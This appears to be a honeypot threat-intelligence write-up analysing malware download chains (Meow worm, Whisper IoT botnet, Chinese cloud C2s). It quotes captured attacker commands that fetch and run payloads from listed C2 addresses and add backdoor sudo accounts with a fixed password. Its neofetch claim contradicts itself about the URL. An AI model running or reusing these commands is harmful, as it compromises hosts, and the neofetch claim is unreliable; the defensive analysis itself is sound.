LSN โ€” Local Sovereign Network

โณ As-of note (2026-07-08): This is a point-in-time forensic snapshot built from the honeypot malware-download graph captured Marchโ€“May 2026 (the ๐Ÿงฌ Malware Graph series). That data is not live-reproducible: the shared_malware graph was later corrected to exclude junk/trivial hashes that had inflated it (the raw download data is fully retained), so the graph figures across this series โ€” e.g. 2,089 shared_malware links / 82 IPs / 28 countries and the Marโ€“May download history โ€” cannot be reproduced from the current pipeline (the live shared_malware graph is ~68 links / ~16 IPs). The findings hold as of the capture window; the live data will not match.
TI-2026-052B ยท Series 052 ยท The Malware Graph

The Download Chain

From initial access to full compromise in 10 commands โ€” three parallel deployment architectures serving miners, worms, and backdoors

TI-2026-052B Series: The Malware Graph 2026-07-01 C2 Servers: 8 mapped Attack Chains: 3 distinct architectures

Overview

The malware graph from 052A shows what gets distributed. This article shows how. Our honeypot captures the complete post-compromise download chain โ€” every wget, every curl, every chmod 777 โ€” from the moment credentials succeed to the moment the payload executes.

Three distinct deployment architectures emerge, each optimized for different objectives:

  1. The Meow Chain โ€” worm propagation via Google Cloud Platform
  2. The Whisper Chain โ€” IoT botnet recruitment via Latvian bulletproof hosting
  3. The Linux Chain โ€” generic backdoor via Chinese domestic cloud

All three share one trait: they use legitimate cloud infrastructure for payload hosting. Google Cloud, AWS, Baidu, Tencent โ€” platforms that pass reputation filters, aren't on blocklists, and blend into normal HTTPS traffic.

Chain 1: The Meow Worm โ€” 10 Commands to Total Compromise

Observed from 35.196.255.242 and 34.85.232.35 (both Google Cloud Platform). The complete chain:

# Phase 1: Staging
cd /tmp
ulimit -n 1020000        # Max file descriptors (1M connections)
rm -rf meow*             # Clean previous deployment

# Phase 2: Redundant download (wget + curl fallback)
wget http://34.181.210.37/meow
curl -O http://34.181.210.37/meow
chmod 777 meow
./meow

# Phase 3: Multi-architecture (x86 + ARM64)
wget http://34.181.210.37/meowarm64
curl -O http://34.181.210.37/meowarm64
chmod 777 meowarm64
./meowarm64

# Phase 4: Persistence (backdoor users)
useradd -m -s /bin/bash admin1
useradd -m -s /bin/bash user1
usermod -aG sudo admin1
echo admin1:modzmodz | chpasswd
echo user1:modzmodz | chpasswd
echo $(whoami):modzmodz | chpasswd
StagePurposeTechnique
StagingPrepare environment/tmp directory, ulimit for mass propagation
DownloadRetrieve payloadwget + curl redundancy (survives missing tools)
ExecuteDeploy wormBoth x86 and ARM64 variants (covers all targets)
PersistMaintain accessBackdoor users "admin1"/"user1" with sudo and password "modzmodz"

Key observations:

  • ulimit -n 1020000 โ€” sets 1 million file descriptors. This worm intends to hold connections to thousands of targets simultaneously.
  • Two GCP C2 servers: 35.237.91.38 and 34.181.210.37 (europe-west9). Same operator, geo-distributed C2.
  • echo '123456' | sudo -S sh -c '...' โ€” reuses the SSH credential for sudo escalation. Assumes root password = SSH password.
  • Password "modzmodz" โ€” the backdoor credential. If the meow binary is removed, the operator returns via admin1:modzmodz.

Chain 2: The Whisper IoT Botnet

Observed from 31.170.22.205 (Sia Nano IT, Latvia, AS42099). Targets embedded ARM devices:

# Minimal IoT chain
busybox wget http://31.170.22.205/bins/whisper.armv5
busybox wget http://31.170.22.205/bins/whisper.armv6
busybox wget http://31.170.22.205/dl600
cd /tmp || cd /var/run || cd /dev
PayloadArchitecturePurpose
whisper.armv5ARMv5 (older IoT)DDoS botnet client
whisper.armv6ARMv6 (Raspberry Pi gen1)DDoS botnet client
dl600UnknownSecondary payload (downloader?)

Architecture difference from Meow: Whisper uses busybox wget โ€” the minimal HTTP client available on embedded Linux (routers, cameras, NAS devices). No curl, no redundancy. These targets are resource-constrained โ€” the chain is stripped to essentials.

The C2 is a specialist: 31.170.22.205 has a threat score of only 5.0 despite being an active malware distributor. It achieves this by never attacking directly โ€” it only serves payloads when compromised IoT devices call home. Low visibility, high impact.

Chain 3: The Chinese Domestic Cloud

Three C2 servers on Chinese cloud platforms serve identical /linux endpoints:

C2 ServerProviderPortPath
121.28.170.66China Unicom (Hebei)9356/linux
124.221.177.40Tencent Cloud (Shanghai)9549/linux
180.76.137.37Baidu Cloud (Beijing)60135/linux

All three serve the same endpoint path (/linux) on non-standard high ports. The deployment command:

wget http://121.28.170.66:9356/linux
wget http://124.221.177.40:9549/linux
wget http://180.76.137.37:60135/linux

Why three C2s? Redundancy. If one cloud provider's abuse team takes down the server, two remain. Different providers (Unicom, Tencent, Baidu) means no single takedown request eliminates all distribution. Each requires separate abuse reports to separate organizations.

Real-name registration: All three Chinese cloud platforms require ๅฎžๅ่ฎค่ฏ (real-name verification). The operator's identity is documented in Chinese government databases. This infrastructure is operated by someone who chose to use platforms that record their identity โ€” either because they're in China with no alternative, or because they're confident Chinese law enforcement won't act on foreign victims' behalf.

Chain 4: The Neofetch Disguise

From 54.176.104.45 (Amazon AWS, US-West-1). A different tradecraft entirely:

# Download legitimate system info tool from GitHub
curl -L https://raw.githubusercontent.com/dylanaraps/neofetch/master/neofetch -o neofetch
wget https://raw.githubusercontent.com/dylanaraps/neofetch/master/neofetch -O neofetch
chmod +x neofetch
./neofetch

On the surface: downloading a popular system information script from its official GitHub repository. In reality: the file at that URL is not the real neofetch. The GitHub account dylanaraps was archived after the developer's disappearance in 2023. Someone maintains a trojanized version at a similar-looking URL that performs reconnaissance while appearing to be a harmless system info display.

This is supply-chain abuse โ€” leveraging trust in GitHub raw URLs to distribute malware that looks like a sysadmin tool.

The Cloud Hosting Paradox

Every download chain uses legitimate cloud infrastructure for payload hosting:

ProviderIPs UsedRoleCost/Month
Google Cloud Platform35.196.255.242, 34.85.232.35, 35.237.91.38, 34.181.210.37Scanner + C2~$5-20
Amazon AWS54.176.104.45, 3.129.187.38Scanner + distribution~$5-20
DigitalOcean143.198.235.14Clean distribution~$5
Tencent Cloud124.221.177.40C2 server~ยฅ50
Baidu Cloud180.76.137.37C2 server~ยฅ50

Total monthly cost of the entire C2 infrastructure: approximately $50-100 USD. The most sophisticated multi-national malware distribution operation in our dataset costs less than a Netflix family plan.

These providers can't easily distinguish attack traffic from legitimate use โ€” the scanners use the same protocols, the same ports, the same client libraries as normal SSH connections. The abuse reports come days after the damage. By then, the VPS is terminated and a new one spun up.

Three Chains, One Supply Chain

The three deployment architectures appear distinct but share infrastructure:

  • Meow worm (GCP) and mdrfckr botnet (82-node graph from 052A) share the same targets โ€” meow deploys, mdrfckr mines
  • Whisper IoT (Latvia) and meow ARM64 (GCP) target the same device architectures โ€” one recruits, the other propagates
  • Chinese C2s serve the same /linux binary that the 82-node graph deploys

This is not three separate operations. It's one supply chain with three delivery methods, optimized for different target profiles: servers (meow/mdrfckr), IoT (whisper), and cloud instances (neofetch disguise).

The download chain is the moment where the access market becomes the exploitation market. Someone else found the credentials. Someone else verified the shell. The download chain is where the product (access) becomes the weapon (compromise).

Confidence: HIGH โ€” Complete command sequences captured in honeypot. C2 URLs confirmed active. Password "modzmodz" observed as persistence credential. Multi-architecture payloads confirm IoT targeting.

Cross-references: TI-2026-052A (Family Tree), TI-2026-058M (Worm's DNA), TI-2026-042W (Download Arsenal), TI-2026-051B (Shopping List), TI-2026-037C (Delivery Networks).

โš  Personal capacity. Research published independently โ€” not reflecting employer views. Derived from passive observation of attacks against personal infrastructure. Full disclaimer โ†’
โ† Previous The Malware Graph โ€” 2 / 5 Next โ†’